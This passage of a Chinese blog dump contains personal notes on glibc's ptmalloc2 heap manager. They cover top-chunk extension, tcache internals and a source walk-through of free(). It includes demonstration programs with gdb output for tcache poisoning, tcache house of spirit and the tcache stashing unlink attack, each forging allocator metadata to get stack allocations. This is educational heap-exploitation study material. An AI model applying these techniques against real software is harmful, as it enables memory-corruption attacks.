以及,读者可能还不了解House of Orange,但这并不影响接下来的阅读,单纯是一个引子罢了,读者可以将其理解为:不使用free也能将chunk放入Unsorted Bin中的方法\nmmap:        尽管本文的重点并不在mmap分配上,但笔者仍觉得有必要对其做些介绍\n        笔者将mmap的作用理解为:建立内存与磁盘的映射关系,从而达到“只要读写内存即可读写磁盘”的目的。由于只需要读写内存,因此不用read/write函数也能实现磁盘上读写\n        而在堆的分配中,当需要分配的chunk大小超过mmap分配的阈值(mmp_.mmap_threshold)时,管理器就会调用mmap来分配额外的heap,并在该heap完全不被使用时直接归还给内核\n        (注:mmp_.mmap_threshold通常为128K)\n        从这个角度来说,直接归还给内核的内存堆是难以利用的,因此也不在本文的主要讨论范围\n        可以参考:https://www.cnblogs.com/huxiao-tee/p/4660352.html\n        作者对mmap做了较为详细的介绍\nbrk:调试代码:#include <stdio.h>#define fake_size 0x1fe1int main(void){ size_t *p1,*p2,*p3,*p4; p1=malloc(0x10); p2=(void *)((int)p1+24); *((long long*)p2)=fake_size; p3=malloc(0x2000); p4=malloc(0x60);}\n\n\n        断点定于第8行\n        此时的堆结构为:\ngdb-peda$ heap0x602000 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x20fe1}0x602020 PREV_INUSE { prev_size = 0x0, size = 0x20fe1, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0}\n\n\n        p1为0x602000处的chunk,而Top chunk则为0x602020处的chunk\n        第八行代码处,我们将Top chunk的size字段修改为0x1fe1,此时如果我们再申请0x2000大小的chunk,显然Top chunk已经不足以满足我们的要求了,那么第9行代码执行之后,bins的结构将为:\nunsortedbinall: 0x602020 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602020 /* ' `' */gdb-peda$ p p3$1 = (size_t *) 0x623010\n\n\n        此时,原本的Top chunk已经被放入了Unsorted Bin中,而p3获得了从0x623000处开始的chunk\n问题:fake_size的值是如何得来的,其他数值是否可行?\n        我们可以浏览如下代码得到答案:\nassert((old_top == initial_top(av) && old_size == 0) ((unsigned long) (old_size) >= MINSIZE && prev_inuse(old_top) && ((unsigned long)old_end & pagemask) == 0));\n\n\n        如果,原本的Top chunk还未初始化且size为0\n        或者,原Top chunk大小大于0x10,且前一个chunk被使用,且结束地址符合页对齐\n        那么则进行分配新的heap页\n        由于我们调用过一次malloc,因此Top chunk已经初始化,所以我们需要绕过的检查是第二个\n        1.伪造处的Size的最后一位必须为1,以表示前一个chunk处于使用(从实际情况考虑,只要没有遭到篡改,这是必然成立的条件)\n        2.结束地址符合页对齐。一个页面对应大小为4KB,既0x1000字节,也就是说,Top chunk的结束地址应该为0x1000的倍数\n        本例中原Top chunk为0x602020,只要保证 (0x602020+size)%0x1000==0即可,因此0x0fe1、0x1fe1等符合情况的均可\n        不妨试着计算一下这个新heap的大小:\ngdb-peda$ x /10gx 0x623000+0x20000x625000:0x00000000000000000x00000000000000000x625010:0x00000000000000000x0000000000020ff10x625020:0x00000000000000000x00000000000000000x625030:0x00000000000000000x00000000000000000x625040:0x00000000000000000x0000000000000000\n\n\n        可见其为0x23000,与第一个heap的0x21000还多出0x2000字节\n说回Bins的放入规则:        堆管理器将原本的Top chunk放入Unsorted Bin,并分配一个新的Heap然后分割成chunk p3和Top chunk\n        至于原本的Top chunk,如果读者细看了它的size变化,应该会发现少了0x20字节,其实只是被prev_size、size、fd、bk指针占用了而已\n        感觉这东西似乎没什么可说的,以至于笔者有点不知道该如何描述才能将这种思路表达清楚,还望见谅 ​\n插画ID:91095963\n","categories":["Note","Ptmalloc2内存管理"],"tags":["glibc"]},{"title":"关于如何理解Glibc堆管理器(Ⅶ——Tcache Bins!!)","url":"/2021/08/07/glibc-7/","content":"​\n本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。\n若有图片及文稿引用,将在本篇结尾处著名来源(也有置于篇首的情况)。\n        笔者本该将这一节的内容与第二节合并的,因为Tcache的并入并没有带来非常多的内容。但从结构上考虑,笔者一直以来都在使用glibc-2.23进行说明,在该版本下尚且没有引入Tcache Bins,因此这一节的内容一直拖欠到今。直到glibc-2.27开始,官方才引入了Tcache Bins结构,因此本节内容也将在该版本下进行说明(不过Ubuntu18确实用着比Ubuntu16来得舒服……)\n        (注:读者不应以笔者给出的代码为准。笔者为了方便理解而将“在别处定义而在本函数中被使用的内容”一并展示在代码栏中,实际上,某些定义并非在该处被定义)\nTcache 结构:/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */# define TCACHE_MAX_BINS64 typedef struct tcache_entry { struct tcache_entry *next; /* This field exists to detect double frees. */ struct tcache_perthread_struct *key; } tcache_entry;/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */typedef struct tcache_perthread_struct{ char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS];} tcache_perthread_struct;static __thread tcache_perthread_struct *tcache = NULL;\n\n\n         每个线程都有一个tcache_perthread_struct结构体,该结构体即为Tcache Bins的结构体\n        可以注意到,每个线程最多只能有64个Tcache Bin,且用单项链表储存free chunk,这与Fast Bin是相同的,且它们储存chunk的大小也是严格分类,因此这一点上也相同\n        (注:笔者试着翻阅了源代码,tcache_entry结构体中的*key直到glibc-2.29才出现,此前的版本均没有这一项。但笔者对照了自己Ubuntu18.04版本中正在使用的libc-2.27.so发现,该系统已经引入了这一结构,因此本节会按照存在该结构的环境进行介绍)\n        (读者可在这里找到更新的commit:sourceware.org Git - glibc.git/blobdiff - malloc/malloc.c)\n        而操作该结构体的函数主要有这两个:\n/* This is another arbitrary limit, which tunables can change. Each tcache bin will hold at most this number of chunks. */# define TCACHE_FILL_COUNT 7static __always_inline voidtcache_put (mchunkptr chunk, size_t tc_idx){ tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx < TCACHE_MAX_BINS); /* Mark this chunk as "in the tcache" so the test in _int_free will detect a double free. */ e->key = tcache; e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); }/* Caller must ensure that we know tc_idx is valid and there's available chunks to remove. */static __always_inline void *tcache_get (size_t tc_idx){ tcache_entry *e = tcache->entries[tc_idx]; assert (tc_idx < TCACHE_MAX_BINS); assert (tcache->entries[tc_idx] > 0); tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); return (void *) e;}\n\n\n        前者向Bins中放入chunk,后者则从中取出chunk。且每个Tcache Bin最多存放7个chunk(不过这段代码没能体现出来,该限制在malloc中存在,具体内容之后讲解)\n\n        chunk2mem 将返回chunk p的头部\n        tc_idx 表示Tcache Bins的索引\n        tcache->counts[tc_idx]指示索引为tc_idx的Bins中存放的chunk数\n\n        如下为Tcache Bins分配规则:(内容摘自CTF-WIKI)\n内存申请:\n在内存分配的 malloc 函数中有多处,会将内存块移入 tcache 中\n\n首先,申请的内存块符合 fastbin 大小时并且在 fastbin 内找到可用的空闲块时,会把该 fastbin 链上的其他内存块放入 tcache 中\n其次,申请的内存块符合 smallbin 大小时并且在 smallbin 内找到可用的空闲块时,会把该 smallbin 链上的其他内存块放入 tcache 中\n当在 unsorted bin 链上循环处理时,当找到大小合适的链时,并不直接返回,而是先放到 tcache 中,继续处理\n\n\ntcache 取出:在内存申请的开始部分,首先会判断申请大小块,并验证 tcache 是否存在,如果存在就直接从 tcache 中摘取,否则再使用_int_malloc 分配\n在循环处理 unsorted bin 内存块时,如果达到放入 unsorted bin 块最大数量,会立即返回。不过默认是 0,即不存在上限\n\n#if USE_TCACHE /* If we've processed as many chunks as we're allowed while filling the cache, return one of the cached ones. */ ++tcache_unsorted_count; if (return_cached && mp_.tcache_unsorted_limit > 0 && tcache_unsorted_count > mp_.tcache_unsorted_limit) { return tcache_get (tc_idx); }#endif\n\n\n        关于具体的代码实现,笔者打算将其留作最后几节的完结篇,因此这里不做代码分析,仅给出结论,并在之后的代码调试中验证结论\n        实际上Tcache的内容就这么多,在理解了前三个Bins结构之后,笔者发现似乎已经没有其他可以讨论的内容了;但读者可能也发现了,对Tcache Bin进行操作的函数似乎非常简单,几乎没有做安全性检查,这也同样是事实,不过目前笔者还没有贴出完全的代码,因此整体还并不明朗,读者可以自行查阅相关资料,或是阅读笔者之后的几篇代码分析\n        仅从结论来说,Tcache 确实不如最早的那三个来得安全(至少目前是这样)\n代码调试:tcache_poisoning:(删除了大多数说明)#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <assert.h>int main(){size_t stack_var;intptr_t *a = malloc(128);intptr_t *b = malloc(128);free(a);free(b);b[0] = (intptr_t)&stack_var;intptr_t *c = malloc(128);intptr_t *d = malloc(128);return 0;}\n\n\n        我们可以直接断点在第15行,此时的Bins结构为:\ngdb-peda$ binstcachebins0x90 [ 2]: 0x5555557562f0 —▸ 0x555555756260 ◂— 0x0\n\n\n        (不过唯独Tcache Bins显示的地址是&chunk+0x10) \nFree chunk (tcache) PREV_INUSEAddr: 0x555555756250Size: 0x91fd: 0x00Free chunk (tcache) PREV_INUSEAddr: 0x5555557562e0Size: 0x91fd: 0x555555756260\n\n\n        显然,此时chunk a与b均非放入Tcache Bins中,这也说明,其优先级甚至要高于Fast Bins\n        再以chunk b为例,查看一下Tcache的结构:\ngdb-peda$ x /6gx 0x5555557562e00x5555557562e0:0x00000000000000000x00000000000000910x5555557562f0:0x00005555557562600x00005555557560100x555555756300:0x00000000000000000x0000000000000000\n\n\n         它没有prev_size,但几乎和Fast Bin中的chunk是一样的,同时也不会合并,不会将Size中的P位标记置零,同时它们拥有共同的bk指针,这个指针有些特殊,它们会指向该线程的Tcache Bins表头,并被用作一个“key”,当对某个chunk进行free的时候便会遍历搜索,查看它是否已经被放入Tcache Bins,由此来防止出现Double Free的情况\nAllocated chunk PREV_INUSEAddr: 0x555555756000Size: 0x251\n\n\n          继续往下,程序伪造了chunk b的fd指针,此时的Bins为:\ntcachebins0x90 [ 2]: 0x5555557562f0 —▸ 0x7fffffffdeb8 ◂— 0x0\n\n\n         则在第二次申请时,将得到一个指向栈的地址:\ngdb-peda$ p d$1 = (intptr_t *) 0x7fffffffdeb0\n\n\ntcache house of spirit:#include <stdio.h>#include <stdlib.h>#include <assert.h>int main(){setbuf(stdout, NULL);malloc(1);unsigned long long *a; //pointer that will be overwrittenunsigned long long fake_chunks[10]; //fake chunk regionfake_chunks[1] = 0x40; // this is the sizea = &fake_chunks[2];free(a);void *b = malloc(0x30);assert((long)b == (long)&fake_chunks[2]);}\n\n\n         同样删除了几乎所有的注释\n        直接运行到第8行\n        首先申请一块内存来初始化堆结构,然后在栈上构造起fake_chunks结构,并以0x40作为该chunk的size\n        此时如果对这个chunk进行free,那么这个伪造好的chunk就会被放进Bins中,并在接下来申请时候被返回:\ntcachebins0x40 [ 1]: 0x7fffffffde90 ◂— 0x0\n\n\ngdb-peda$ p b$1 = (void *) 0x7fffffffde90\n\n\n         由此可见,在glibc2.27版本中,对Tcache的合法性检查并不严谨,就连官方都曾表示:“在free之前需要确保该指针是安全的”(大致是这个意思)\ntcache_stashing_unlink_attack:(有稍微改动)#include <stdio.h>#include <stdlib.h>#include <assert.h>int main(){ unsigned long stack_var[0x10] = {0}; unsigned long *chunk_lis[0x10] = {0}; unsigned long *target; setbuf(stdout, NULL); stack_var[3] = (unsigned long)(&stack_var[2]); //now we malloc 9 chunks for(int i = 0;i < 9;i++){ chunk_lis[i] = (unsigned long*)malloc(0x90); } //put 7 chunks into tcache for(int i = 3;i < 9;i++){ free(chunk_lis[i]); } //last tcache bin free(chunk_lis[1]); //now they are put into unsorted bin free(chunk_lis[0]); free(chunk_lis[2]); //convert into small bin unsigned long *a=malloc(0xa0);// size > 0x90 //now 5 tcache bins unsigned long *b=malloc(0x90); unsigned long *c=malloc(0x90); //change victim->bck /*VULNERABILITY*/ chunk_lis[2][1] = (unsigned long)stack_var; /*VULNERABILITY*/ //trigger the attack unsigned long *d=calloc(1,0x90); //malloc and return our fake chunk on stack target = malloc(0x90); assert(target == &stack_var[2]); return 0;}\n\n\n        第一个断点于第26行,此时,程序开辟了9个相同大小的chunk,并free掉了后6个和第二个,剩下第一个和第三个\n        此时,Tcache Bin已经装满,接下来的释放将把chunk 放入Unsorted Bin:\ntcachebins0xa0 [ 7]: 0x555555756300 —▸ 0x555555756760 —▸ 0x5555557566c0 —▸ 0x555555756620 —▸ 0x555555756580 —▸ 0x5555557564e0 —▸ 0x555555756440 ◂— 0x0unsortedbinall: 0x555555756390 —▸ 0x555555756250 —▸ 0x7ffff7dcdca0 (main_arena+96) ◂— 0x555555756390\n\n\n         接下来开辟chunk a,因为没有能够满足0xa0的free chunk,因此直接往下开辟新的chunk,且将Unsorted Bin中的内容放入Small Bin中\n        然后开辟chunk b与c,由于Tcache Bin中有合适的,因此相继拿出第一个节点分配给它们\n        接下来伪造chunk_lis[2]的bk指针\ngdb-peda$ binstcachebins0xa0 [ 5]: 0x5555557566c0 —▸ 0x555555756620 —▸ 0x555555756580 —▸ 0x5555557564e0 —▸ 0x555555756440 ◂— 0x0smallbins0xa0 [corrupted]FD: 0x555555756390 —▸ 0x555555756250 —▸ 0x7ffff7dcdd30 (main_arena+240) ◂— 0x555555756390BK: 0x555555756250 —▸ 0x555555756390 —▸ 0x7fffffffddd0 —▸ 0x7fffffffdde0 ◂— 0x0largebins\n\n\n        此时,如果程序调用calloc函数,则会触发一个特殊的机制:如果对应的Tcache Bin中仍有空余,则在分配给用户chunk之后,把Small Bin中其他的chunk放入Tcache Bin中,直到Tcache Bin放满,或者Small Bin放完\n        其Unlink操作代码如下:\n while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin){ if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena)set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin; tcache_put (tc_victim, tc_idx); }\n\n\n         由于存在bck->fd = bin,因此,在本例中,当向Tcache Bin中放入Small Bin中放入 0x7fffffffddd0(即fake_chunk)后,将往0x7fffffffdde0->fd处写入bin的地址,由此造成libc地址泄露\ntcachebins0xa0 [ 7]: 0x7fffffffdde0 —▸ 0x5555557563a0 —▸ 0x5555557566c0 —▸ 0x555555756620 —▸ 0x555555756580 —▸ 0x5555557564e0 —▸ 0x555555756440 ◂— 0x0smallbins0xa0 [corrupted]FD: 0x555555756390 —▸ 0x5555557566c0 ◂— 0x0BK: 0x7fffffffdde0 ◂— 0x0gdb-peda$ x /8gx 0x7fffffffddc00x7fffffffddc0:0x00005555557562600x00007ffff7dde39f0x7fffffffddd0:0x00000000000000000x00000000000000000x7fffffffdde0:0x00005555557563a00x00005555557560100x7fffffffddf0:0x00007ffff7dcdd300x0000000000000000\n\n\n         由于0x7fffffffddd0  的放入导致了Tcache Bin满员,所以0x7fffffffdde0被没放入Tcache Bin中,而其fd保留了bin的地址\n        0x7fffffffddd0 被放入Tcache Bin中时,调用该函数\ntcache_put (tc_victim, tc_idx);\n\n\n         这个函数将0x7fffffffdde0->fd处的bin地址又用Tcache->fd的地址覆盖,因此没能在该chunk处泄露,倘若0x7fffffffdde0放入后,Tcache Bin仍未满员,那么0x7fffffffdde0也会被放入,则0x7fffffffdde0->fd中的bin地址也会被覆盖,因此,该利用必须严格控制Tcache Bin中的chunk数量\n总结:        先开辟9个相同大小的chunk,并且全都释放,使其中7个均被放入相同索引的Tcache Bin,而两个被放入Unsorted Bin中(这两个不应该在地址上相邻)\n        通过请求更大的chunk,使得Unsorted Bin中的chunk被放入Small Bin中\n        由于Small Bin按照FIFO(先进先出)使用,假设现在SmallBin->bk=chunk0;chunk0->bk=chunk1,为chunk1伪造一个fake_chunk,并将fake_chunk->bk指向一个可控的地址(指可写也可被获取内容)\n        然后调用calloc函数,触发机制,将chunk0分配给用户,chunk1与chunk1->bk(即fake_chunk)被放入Tcache Bin中,且向fake_chunk->fd写入bin\n        然后用户再次请求一个同样大小的chunk时,由于Tcache Bin遵守LIFO(先进后出),因此将返回fake_chunk地址 ​\n插画ID:91536470\n","categories":["Note","Ptmalloc2内存管理"],"tags":["glibc"]},{"title":"关于如何理解Glibc堆管理器(Ⅸ——从源代码理解free)","url":"/2021/08/07/glibc-9/","content":"​\n 本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。\n若有图片及文稿引用,将在本篇结尾处著名来源(也有置于篇首的情况)。\n        为了文章的可读性,笔者将使用“块引用”来表示分支情况,在没有特别标注的情况下(没有说明引用来源时),其中内容均为笔者所写\n源代码:void__libc_free (void *mem){ mstate ar_ptr; mchunkptr p; /* chunk corresponding to mem */ void (*hook) (void *, const void *) = atomic_forced_read (__free_hook); if (__builtin_expect (hook != NULL, 0)) { (*hook)(mem, RETURN_ADDRESS (0)); return; } if (mem == 0) /* free(0) has no effect */ return; p = mem2chunk (mem); if (chunk_is_mmapped (p)) /* release mmapped memory. */ { /* See if the dynamic brk/mmap threshold needs adjusting. Dumped fake mmapped chunks do not affect the threshold. */ if (!mp_.no_dyn_threshold && chunksize_nomask (p) > mp_.mmap_threshold && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX && !DUMPED_MAIN_ARENA_CHUNK (p)) { mp_.mmap_threshold = chunksize (p); mp_.trim_threshold = 2 * mp_.mmap_threshold; LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, mp_.mmap_threshold, mp_.trim_threshold); } munmap_chunk (p); return; } MAYBE_INIT_TCACHE (); ar_ptr = arena_for_chunk (p); _int_free (ar_ptr, p, 0);}\n\n\nstatic void_int_free (mstate av, mchunkptr p, int have_lock){ INTERNAL_SIZE_T size; /* its size */ mfastbinptr *fb; /* associated fastbin */ mchunkptr nextchunk; /* next contiguous chunk */ INTERNAL_SIZE_T nextsize; /* its size */ int nextinuse; /* true if nextchunk is used */ INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */ mchunkptr bck; /* misc temp for linking */ mchunkptr fwd; /* misc temp for linking */ size = chunksize (p); /* Little security check which won't hurt performance: the allocator never wrapps around at the end of the address space. Therefore we can exclude some size values which might appear here by accident or by "design" from some intruder. */ if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) __builtin_expect (misaligned_chunk (p), 0)) malloc_printerr ("free(): invalid pointer"); /* We know that each chunk is at least MINSIZE bytes in size or a multiple of MALLOC_ALIGNMENT. */ if (__glibc_unlikely (size < MINSIZE !aligned_OK (size))) malloc_printerr ("free(): invalid size"); check_inuse_chunk(av, p);#if USE_TCACHE { size_t tc_idx = csize2tidx (size); if (tcache != NULL && tc_idx < mp_.tcache_bins) {/* Check to see if it's already in the tcache. */tcache_entry *e = (tcache_entry *) chunk2mem (p);/* This test succeeds on double free. However, we don't 100% trust it (it also matches random payload data at a 1 in 2^<size_t> chance), so verify it's not an unlikely coincidence before aborting. */if (__glibc_unlikely (e->key == tcache)) { tcache_entry *tmp; LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next) if (tmp == e)malloc_printerr ("free(): double free detected in tcache 2"); /* If we get here, it was a coincidence. We've wasted a few cycles, but don't abort. */ }if (tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put (p, tc_idx); return; } } }#endif /* If eligible, place chunk on a fastbin so it can be found and used quickly in malloc. */ if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())#if TRIM_FASTBINS /*If TRIM_FASTBINS set, don't place chunksbordering top into fastbins */ && (chunk_at_offset(p, size) != av->top)#endif ) { if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ, 0) __builtin_expect (chunksize (chunk_at_offset (p, size)) >= av->system_mem, 0)) {bool fail = true;/* We might not have a lock at this point and concurrent modifications of system_mem might result in a false positive. Redo the test after getting the lock. */if (!have_lock) { __libc_lock_lock (av->mutex); fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ chunksize (chunk_at_offset (p, size)) >= av->system_mem); __libc_lock_unlock (av->mutex); }if (fail) malloc_printerr ("free(): invalid next size (fast)"); } free_perturb (chunk2mem(p), size - 2 * SIZE_SZ); atomic_store_relaxed (&av->have_fastchunks, true); unsigned int idx = fastbin_index(size); fb = &fastbin (av, idx); /* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */ mchunkptr old = *fb, old2; if (SINGLE_THREAD_P) {/* Check that the top of the bin is not the record we are going to add (i.e., double free). */if (__builtin_expect (old == p, 0)) malloc_printerr ("double free or corruption (fasttop)");p->fd = old;*fb = p; } else do{ /* Check that the top of the bin is not the record we are going to add (i.e., double free). */ if (__builtin_expect (old == p, 0)) malloc_printerr ("double free or corruption (fasttop)"); p->fd = old2 = old;} while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2); /* Check that size of fastbin chunk at the top is the same as size of the chunk that we are adding. We can dereference OLD only if we have the lock, otherwise it might have already been allocated again. */ if (have_lock && old != NULL&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0)) malloc_printerr ("invalid fastbin entry (free)"); } /* Consolidate other non-mmapped chunks as they arrive. */ else if (!chunk_is_mmapped(p)) { /* If we're single-threaded, don't lock the arena. */ if (SINGLE_THREAD_P) have_lock = true; if (!have_lock) __libc_lock_lock (av->mutex); nextchunk = chunk_at_offset(p, size); /* Lightweight tests: check whether the block is already the top block. */ if (__glibc_unlikely (p == av->top)) malloc_printerr ("double free or corruption (top)"); /* Or whether the next chunk is beyond the boundaries of the arena. */ if (__builtin_expect (contiguous (av) && (char *) nextchunk >= ((char *) av->top + chunksize(av->top)), 0))malloc_printerr ("double free or corruption (out)"); /* Or whether the block is actually not marked used. */ if (__glibc_unlikely (!prev_inuse(nextchunk))) malloc_printerr ("double free or corruption (!prev)"); nextsize = chunksize(nextchunk); if (__builtin_expect (chunksize_nomask (nextchunk) <= 2 * SIZE_SZ, 0) __builtin_expect (nextsize >= av->system_mem, 0)) malloc_printerr ("free(): invalid next size (normal)"); free_perturb (chunk2mem(p), size - 2 * SIZE_SZ); /* consolidate backward */ if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size while consolidating"); unlink_chunk (av, p); } if (nextchunk != av->top) { /* get and clear inuse bit */ nextinuse = inuse_bit_at_offset(nextchunk, nextsize); /* consolidate forward */ if (!nextinuse) {unlink_chunk (av, nextchunk);size += nextsize; } elseclear_inuse_bit_at_offset(nextchunk, 0); /*Place the chunk in unsorted chunk list. Chunks arenot placed into regular bins until after they havebeen given one chance to be used in malloc. */ bck = unsorted_chunks(av); fwd = bck->fd; if (__glibc_unlikely (fwd->bk != bck))malloc_printerr ("free(): corrupted unsorted chunks"); p->fd = fwd; p->bk = bck; if (!in_smallbin_range(size)){ p->fd_nextsize = NULL; p->bk_nextsize = NULL;} bck->fd = p; fwd->bk = p; set_head(p, size PREV_INUSE); set_foot(p, size); check_free_chunk(av, p); } /* If the chunk borders the current high end of memory, consolidate into top */ else { size += nextsize; set_head(p, size PREV_INUSE); av->top = p; check_chunk(av, p); } /* If freeing a large space, consolidate possibly-surrounding chunks. Then, if the total unused topmost memory exceeds trim threshold, ask malloc_trim to reduce top. Unless max_fast is 0, we don't know if there are fastbins bordering top, so we cannot tell for sure whether threshold has been reached unless fastbins are consolidated. But we don't want to consolidate on each free. As a compromise, consolidation is performed if FASTBIN_CONSOLIDATION_THRESHOLD is reached. */ if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) { if (atomic_load_relaxed (&av->have_fastchunks))malloc_consolidate(av); if (av == &main_arena) {#ifndef MORECORE_CANNOT_TRIMif ((unsigned long)(chunksize(av->top)) >= (unsigned long)(mp_.trim_threshold)) systrim(mp_.top_pad, av);#endif } else {/* Always try heap_trim(), even if the top chunk is not large, because the corresponding heap might go away. */heap_info *heap = heap_for_ptr(top(av));assert(heap->ar_ptr == av);heap_trim(heap, mp_.top_pad); } } if (!have_lock) __libc_lock_unlock (av->mutex); } /* If the chunk was allocated via mmap, release via munmap(). */ else { munmap_chunk (p); }}\n\n\n__libc_free:分支1:free(0)\n        函数直接返回\n\n分支2:该内存由mmap分配\n         通过些许安全性检查后调用munmap_chunk将内存块返回给系统\n\n分支3:否则\n        调用_int_free将内存块释放\n\n        (注:在该函数中会将指针参数p指向mem-0x10,再将该指针传入_int_free)\n_int_free:        首先进行一些必要的安全性检查\n分支1:使用Tcache\n        使用chunksize获取p的size,再用csize2tidx通过size定位到索引tc_idx\n        如果tc_idx合法,将指针e指向 p+0x10\n        判断e->key是否为tcache。若是,进入循环,遍历整个Tcache,若存在相同chunk则crash\n        否则通过安全性检查\n        如果该Tcache Bin链表未满,则调用tcache_put将chunk放入Tcache Bin中\n        函数结束\n\n分支2:符合Fast Bins范围 且 不与Top chunk相邻\n        获取对应的链表索引idx,表头fb,将fd中储存chunk作为old\n        将p作为新的头节点,old将成为第二个节点\n\n分支3:不由mmap分配 且 不属于 Fast Bins范围\n        nextchunk指向p的下一个chunk,nextsize为其size\n        检查p是否为链表的第一个节点,nextchunk不应超出合法地址,且nextsize的P标记应被置1,否则均会crash\n        如果chunk p的P标记被置0,则向上一个块合并,将合并后的块作为p,对其执行unlink_chunk\n\n分支3.1:如果下一个chunk不是Top chunk\n        标记其P位为0,表示p已经被释放。如果该块此前已经处于被释放状态,那么还会再向该块进行合并,并用unlink_chunk将其摘下\n        否则,只是将P位清零\n\n分支4:其他        将bck作为Unsorted Bin的表头,fwd为第一个节点\n        进行安全性检查\nfwd->bk != bck\n\n\n         将p挂入Unsorted Bin的第一个节点\n        如果p的size属于Large Bin,还要将fd_nextsize与bk_nextsize置NULL\n分支5:否则(即与Top chunk相邻时)\n        将p与Top chunk合并\n\n分支6:当释放的chunk极大时        指size大于FASTBIN_CONSOLIDATION_THRESHOLD时采用的分支\n#define FASTBIN_CONSOLIDATION_THRESHOLD (65536UL)\n\n\n         调用malloc_consolidate合并Fast Bin,并投放入Unsorted Bin中\n分支6.1:main_arena 且 Top_chunk大于一定值\n        使用systrim缩减Top chunk\n        (注:Top chunk的size大于trim_threshold时候触发缩减,这个值通常为128 * 1024 * 2)\n\n分支6.2:否则\n        调用heap_trim来缩减整个堆\n\n        (注:分支6中的两种缩减通常都是对额外开辟的堆进行缩减。一个线程在初始阶段只会有一个堆,只有当这个堆不够用时,它就会通过 sysmalloc 去开辟一个新堆,这个堆总是页对齐的,因此往往都比较大。而只有当这个新开辟的堆整个都不再被使用时,往往就会触发分支6来将整个堆释放掉)\n分支7:否则\n        则使用munmap_chunk来强制释放该chunk\n\n​\n插画ID:91567105_p0\n","categories":["Note","Ptmalloc2内存管理"],"tags":["glibc"]},{"title":"关于如何理解Glibc堆管理器(Ⅷ——从源代码理解malloc)","url":"/2021/08/07/glibc-8/","content":"​\n 本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。\n若有图片及文稿引用,将在本篇结尾处著名来源(也有置于篇首的情况)。\n        关于glibc堆管理器Ptmalloc2的实际讨论在前几节已经大致结束了,但是笔者仍觉得对其分配机制缺少完整的认识,于是最后两节将直接通过源代码来对其分配和释放规则进行分析\n        尽管笔者所用的Ubuntu18.04使用glibc-2.27,但笔者在对照源代码后发现,实际的操作和官方放出的glibc2.29更加接近,因此笔者将引用2.29版本中的源代码进行分析\n        为了文章的可读性,笔者将使用“块引用”来表示分支情况,在没有特别标注的情况下(没有说明引用来源时),其中内容均为笔者所写\n源代码:void *__libc_malloc (size_t bytes){ mstate ar_ptr; void *victim; void *(*hook) (size_t, const void *) = atomic_forced_read (__malloc_hook); if (__builtin_expect (hook != NULL, 0)) return (*hook)(bytes, RETURN_ADDRESS (0));#if USE_TCACHE /* int_free also calls request2size, be careful to not pad twice. */ size_t tbytes; checked_request2size (bytes, tbytes); size_t tc_idx = csize2tidx (tbytes); MAYBE_INIT_TCACHE (); DIAG_PUSH_NEEDS_COMMENT; if (tc_idx < mp_.tcache_bins /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */ && tcache && tcache->entries[tc_idx] != NULL) { return tcache_get (tc_idx); } DIAG_POP_NEEDS_COMMENT;#endif if (SINGLE_THREAD_P) { victim = _int_malloc (&main_arena, bytes); assert (!victim chunk_is_mmapped (mem2chunk (victim)) &main_arena == arena_for_chunk (mem2chunk (victim))); return victim; } arena_get (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); /* Retry with another arena only if we were able to find a usable arena before. */ if (!victim && ar_ptr != NULL) { LIBC_PROBE (memory_malloc_retry, 1, bytes); ar_ptr = arena_get_retry (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); } if (ar_ptr != NULL) __libc_lock_unlock (ar_ptr->mutex); assert (!victim chunk_is_mmapped (mem2chunk (victim)) ar_ptr == arena_for_chunk (mem2chunk (victim))); return victim;}\n\n\nstatic void *_int_malloc (mstate av, size_t bytes){ INTERNAL_SIZE_T nb; /* normalized request size */ unsigned int idx; /* associated bin index */ mbinptr bin; /* associated bin */ mchunkptr victim; /* inspected/selected chunk */ INTERNAL_SIZE_T size; /* its size */ int victim_index; /* its bin index */ mchunkptr remainder; /* remainder from a split */ unsigned long remainder_size; /* its size */ unsigned int block; /* bit map traverser */ unsigned int bit; /* bit map traverser */ unsigned int map; /* current word of binmap */ mchunkptr fwd; /* misc temp for linking */ mchunkptr bck; /* misc temp for linking */#if USE_TCACHE size_t tcache_unsorted_count; /* count of 